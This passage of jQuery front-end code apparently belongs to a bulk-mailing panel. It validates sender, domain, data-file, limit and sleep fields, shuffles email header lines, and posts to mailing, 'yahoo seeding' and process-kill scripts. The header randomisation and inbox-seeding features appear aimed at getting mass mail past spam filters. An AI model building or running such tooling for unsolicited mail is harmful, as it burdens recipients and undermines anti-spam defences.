$('#head_responce1').html(data); } ); }); }); $(document).ready(function () { $('#pln_msg').focus(function(){ $(this).css('border-color',''); $('#err_msg').html('');}); $("#nh1" ).keyup(function() { $('#head_responce').html(''); }); // randomize the header values $('#randomize').click(function(){ var head; if($('input:radio[name=texttype]:checked').val()=='multipart') { head=$('#hrd_msg').val(); }else { head=$('#header').val(); } var temp=head.split('\n'); var out=$.Shuffle(temp); var arrString = out.join("\n"); if($('input:radio[name=texttype]:checked').val()=='multipart') { $('#hrd_msg').val(arrString); }else { $('#header').val(arrString); } }); //save the new header $('#save_btn').click(function(){ $.headerSave('0'); }); $('#edit_btn').click(function(){ $.headerSave('1'); }); $('#ref_btn').click(function(){ $('#right_res').html("<a class='btn btn-green btn-mini' href='#' ><i class='icon-refresh icon-spin'></i> Processing... </a>"); $.post( shpath+"mailing.php",{ key: 1 }, function( data ) { $('#right_res').html(data); }); }); //Validation start $('#sbt_span2').click(function() { $.submitValidation(); $('#mail_resp').html("<a class='btn btn-blue btn-mini' href='#' ><i class='icon-refresh icon-spin'></i> Processing... </a>"); $('#mailing_form #key').val('2'); $.post("index_update.php", $('#mailing_form').serialize(),function( data ) { $("#mail_resp").html(data); }); }); $('#upt_btn').click(function() { $.submitValidation(); $('#yahoo_seeding_resp').html("<a class='btn btn-blue btn-mini' href='#' ><i class='icon-refresh icon-spin'></i> Processing... </a>"); $.post("yahoo_seeding_update.php", $('#mailing_form').serialize(),function( data ) { $("#yahoo_seeding_resp").html(data); }); }); //hide and show the message and header $('.mtype_grp').click(function() { $('#header_tr').fadeOut(500); $('#messagetr').fadeOut(500); $('#multipart_tr').fadeIn(500); $('#msg_tr').fadeIn(500); }); $('.type_grp').click(function() { $('#header_tr').fadeIn(500); $('#messagetr').fadeIn(500); $('#multipart_tr').fadeOut(500); $('#msg_tr').fadeOut(500); }); }); $.headerSave=function(eflag) { var head; var hader_id; if($('input:radio[name=texttype]:checked').val()=='multipart') { head=$('#hrd_msg').val(); hader_id='hrd_msg'; }else { head=$('#header').val(); hader_id='header'; } if($.trim($('#'+hader_id).val().length)==0) { $('#'+hader_id).css('border-color','red'); $('#head_responce').html("Please Enter the value").css('color','brown'); return false; } var opt_val=$('#nh1').val(); if($.trim(opt_val.length)==0 && eflag==0) { $('#nh1').css('border-color','red'); $('#head_responce').html("Please Enter the header name").css('color','brown'); return false; } var hname; if(eflag==0) { hname=$('#nh1').val(); } if(eflag==1) { hname=$('#ChooseHeader').val(); } var hval=urlencode($('#'+hader_id).val()); $('#ChooseHeader').append($('<option>', {value: opt_val,text: opt_val,})); $('#head_responce').html("<a class='btn btn-green btn-mini' href='#' ><i class='icon-refresh icon-spin'></i> Processing... </a>"); $.post("common_file.php", { key:1,hname:hname,hval:hval,eflag:eflag,eid:eid },function( data ) { $("#head_responce").html(data); }); } $.submitValidation=function() { if($("#mailing_form #set_dropdown option:selected").val()=="") { $.errorMsg('set_dropdown');return false; } if($("#mailing_form #mail_dropdown option:selected").val()=="") { $('#mailing_form #ip_mail_span li:first').removeClass('active'); $('#mailing_form #set').removeClass('tab-pane active').addClass('tab-pane'); $('#mailing_form #ip_mail_span li:eq(1)').addClass('active'); $('#mailing_form #mail').addClass('tab-pane active'); $('#mailing_form #ip_mail_span li:last').removeClass('active'); $('#mailing_form #domain_cycle_tab').removeClass('tab-pane active').addClass('tab-pane'); $.errorMsg('mail_dropdown'); return false; } if(!$("#mailing_form #from_name").val()) { $.errorMsg('from_name'); return false;} if(!$("#mailing_form #fdomain").val()) { $.errorMsg('fdomain'); return false;} if(!$("#mailing_form #mfrom").val()) { $.errorMsg('mfrom'); return false;} var ckflag=0; $('#mailing_form #mail_val input[type=checkbox]').each(function() { if($(this).is(':checked')){ ckflag++;return false;} }); if($("#mailing_form #textfield27").val()=='' && ckflag==0) { $.errorMsg('textfield27');return false; }else { $.nrlMsg('textfield27');} if(!$("#mailing_form #data_file").val()) { $.errorMsg('data_file'); return false;} if(!$("#mailing_form #test_count").val()) { $.errorMsg('test_count'); return false;} if(!$("#mailing_form #limit").val()) { $.errorMsg('limit'); return false;} if(!$("#mailing_form #sleep").val()) { $.errorMsg('sleep'); return false;} var ttype=$('#mailing_form [name=texttype]:checked').val(); if(ttype == 'multipart') { $('#mailing_form #pln_msg').each(function(){ var text = $(this).val(); if (text.match(/<(\w+)((?:\s+\w+(?:\s*=\s*(?:(?:"[^"]*")|(?:'[^']*')|[^>\s]+))?)*)\s*(\/?)>/)) { $('#mailing_form #err_msg').html('Warning! Plain field not allowing Html Tag..').fadeIn(1000); $.errorMsg('pln_msg'); return false; } }); } } //shuffle the given value $.Shuffle=function(o) { for(var j, x, i = o.length; i; j = parseInt(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x); return o; } //encode the given url function urlencode(str) { str = (str + '').toString(); return encodeURIComponent(str).replace(/!/g, '%21').replace(/'/g, '%27').replace(/\(/g, '%28'). replace(/\)/g, '%29').replace(/\*/g, '%2A').replace(/%20/g, '+'); } function myFunction() { var opt_val=$("#nh1").val(); $.get(shpath+"common_file.php?key=7&hd="+opt_val, function(data) { if (data==1){ $( "#nh1" ).val(''); $('#head_responce').html("Entered header name already exist....").css('color','brown'); return false; } }); } $.wait = function(time) { return $.Deferred(function(dfd) { setTimeout(dfd.resolve, time); }).promise(); } //create the checkbox dynamically $.createCheckbox=function(str,res,na,ch) { $("#"+res).html(''); var arr=str.split('\n'); arr = arr.filter(function(n){return n}); $("<span style='color:green;width:60px;cursor:pointer;'>Check All</span>").appendTo("#"+res).on("click", function(event){ $('#'+res+' input[type=checkbox]').each(function() { $(this).prop('checked', true); }); }); $("<span style='margin-left:7px;color:red;width:75px;cursor:pointer;'>Uncheck All</span>").appendTo("#"+res).on("click", function(event){ $('#'+res+' input[type=checkbox]').each(function() { $(this).prop('checked', false); }); }); $("<span style='margin-left:7px;color:blue;width:60px;cursor:pointer;'>Inverse</span>").appendTo("#"+res).on("click", function(event){ $('#'+res+' input[type=checkbox]').each(function() { if ($(this).is(':checked')) { $(this).prop('checked', false); } else { $(this).prop('checked', true); } }); }); $.each( arr, function() { $("<label style='margin-bottom:2px;' class='checkbox' ><input name='"+na+"' id='"+na+"' class='set_check' type='checkbox' value='"+this+"' "+ch+" >"+this+"</label>").appendTo("#"+res); }); } // read the given xml tag values $.readTag=function(tag,str) { var start='<'+tag+'>'; var end='</'+tag+'>'; var arr=str.split(end); var arr1=arr[0].split(start); return (arr1[1]); } $.errorMsg=function(id) { if(!$('#mailing_form #'+id).val() && $('mailing_form #'+id).attr('id') !='textfield27') { $('#mailing_form #'+id).css({'border-color':'brown','color':'brown'}); $('#mailing_form').find("span[for='"+id+"']").show().css('color','brown'); $('#mailing_form').find("label[for='"+id+"']").css('color','brown'); } } $.nrlMsg=function(id) { $('#mailing_form #'+id).css({'border-color':'#468847','color':'#468847'}); $('#mailing_form').find("span[for='"+id+"']").hide(); $('#mailing_form').find("label[for='"+id+"']").css('color','#468847'); } function killNewProcess(id) { $.post('kill_process.php', { pid : id , key : 1 },function( data ) { $('#mail_process_resp').html(data); }); } function refreshSingleProcess(id) { //$('#mail_process_resp').html("<a class='btn btn-blue btn-mini' href='#' ><i class='icon-refresh icon-spin'></i> Processing... </a>"); $.post('yahoo_seeding.php', { pid : id , key : 3 },function( data ) { $('#mail_process_resp').html(data); }); } </script> <!-- shift selection for check box --> <script src="js/jquery.checkboxes.js"></script>
Save